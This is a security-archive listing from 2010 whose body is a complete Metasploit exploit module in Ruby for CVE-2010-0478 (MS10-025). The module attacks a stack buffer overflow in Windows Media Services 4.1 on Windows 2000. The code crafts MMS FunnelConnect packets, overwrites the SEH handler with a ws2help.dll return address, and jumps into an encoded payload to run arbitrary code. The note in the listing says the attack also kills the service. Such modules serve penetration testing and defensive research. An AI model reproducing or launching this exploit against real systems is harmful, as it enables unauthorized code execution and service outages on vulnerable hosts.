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Windows Media Services ConnectFunnel Stack Buffer Overflow

Windows Media Services ConnectFunnel Stack Buffer Overflow
Posted Apr 19, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the Windows Media Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially crafted FunnelConnect request, an attacker can execute arbitrary code under the "NetShowServices" user account. Windows Media Services 4.1 ships with Windows 2000 Server, but is not installed by default. NOTE: This service does NOT restart automatically. Successful, as well as unsuccessful exploitation attempts will kill the service which prevents additional attempts.

tags | exploit, overflow, arbitrary
systems | windows, 2k
advisories | CVE-2010-0478
MD5 | c628ec8e8cdc6b02bba2239149b248fb

Windows Media Services ConnectFunnel Stack Buffer Overflow

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##
# $Id: ms10_025_wmss_connect_funnel.rb 9101 2010-04-17 11:22:37Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Media Services ConnectFunnel Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Windows Media
Unicast Service version 4.1.0.3930 (NUMS.exe). By sending a specially
crafted FunnelConnect request, an attacker can execute arbitrary code
under the "NetShowServices" user account. Windows Media Services 4.1 ships
with Windows 2000 Server, but is not installed by default.

NOTE: This service does NOT restart automatically. Successful, as well as
unsuccessful exploitation attempts will kill the service which prevents
additional attempts.
},
'Author' => 'jduck',
'License' => MSF_LICENSE,
'Version' => '$Revision: 9101 $',
'References' =>
[
[ 'CVE', '2010-0478' ],
[ 'OSVDB', '63726' ],
[ 'MSB', 'MS10-025' ],
[ 'URL', 'https://www.lexsi.com/abonnes/labs/adviso-cve-2010-0478.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 Pro SP4 English',
{
# SEH handler offset is 840
# Stack return is at 652
'Offset' => 840,
'Ret' => 0x75022ac4 # p/p/r in ws2help.dll
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Apr 13 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(1755)
], self.class)
end

def exploit
@pkts = 0
cmd_buf = ''

# LinkViewerToMacConnect
subscriber = "NSPlayer/4.1.0.3928; {68c0a090-8797-11d2-a2b3-00a0c9b60551}"
#subscriber = "NSPlayer/7.0.0.1956; {}; Host: The.Host.Net"
#subscriber = "Spooooon!"
subscriber << "\x00"
subscriber = Rex::Text.to_unicode(subscriber)
cmd_buf << make_command(0x30001, subscriber)

# LinkViewerToMacConnectFunnel
#name = Rex::Text.pattern_create(512)
name = ''
name << "\\\\"
name << rand_text((target['Offset'] + 4 + 5) / 2)
name << "\\"
name << "\x00"

# Convert it to Unicode..
name = Rex::Text.to_unicode(name)

# Insert the return address..
name[4,payload.encoded.length] = payload.encoded

# Build the SEH frame that leads to the payload...
seh = generate_seh_record(target.ret)
asm = "add edi, 0x04\njmp edi"
seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
name[target['Offset'],seh.length] = seh

# Add it to the command buffer..
cmd_buf << make_command(0x30002, name)

# Build the TcpMessageHeader ..
pkt = make_tcpmsghdr(cmd_buf)

print_status("Sending crafy commands (#{pkt.length} bytes) ...")
# Handle the transacation..
connect
sock.put(pkt)

handler
disconnect
end


#
# Create a TcpMessageHeader from the supplied data
#
def make_tcpmsghdr(data)
len = data.length
# The server doesn't like packets that are bigger...
raise RuntimeError, 'Length too big' if (len > 0x1000)
len /= 8

# Pack the pieces in ...
pkt = [
1,0,0,0, # rep, ver, verMinor, pad
0xb00bface, # session id (nice)
data.length + 16, # msg len
0x20534d4d, # seal ("MMS ")
len + 2, # chunkCount
@pkts, 0, # seq, MBZ
rand(0xffffffff),rand(0xffffffff) # timeSent -- w/e
].pack('CCCCVVVVvvVV')

# Add the data
pkt << data

# Pad it to 8 bytes...
left = data.length % 8
pkt << ("\x00" * (8 - left)) if (left > 0)

pkt
end


#
# Create a command packet
#
def make_command(msg_id, extra)
# Two opcodes, get handled differently..
case msg_id
when 0x30001
data = [0xf0f0f0f0,0x0004000b,0x0003001c].pack('VVV')

when 0x30002
data = [0xf0f0f0f1,0xffffffff,0,0x989680,0x00000002].pack('VVVVV')

end

# Put some data on...
data << extra

# Pad it to 8 bytes...
left = data.length % 8
data << ("\x00" * (8 - left)) if (left > 0)

# Combine the pieces..
pkt = [
(data.length / 8) + 1, # chunkLen
msg_id # msg ID
].pack('VV')
pkt << data

pkt
end

end
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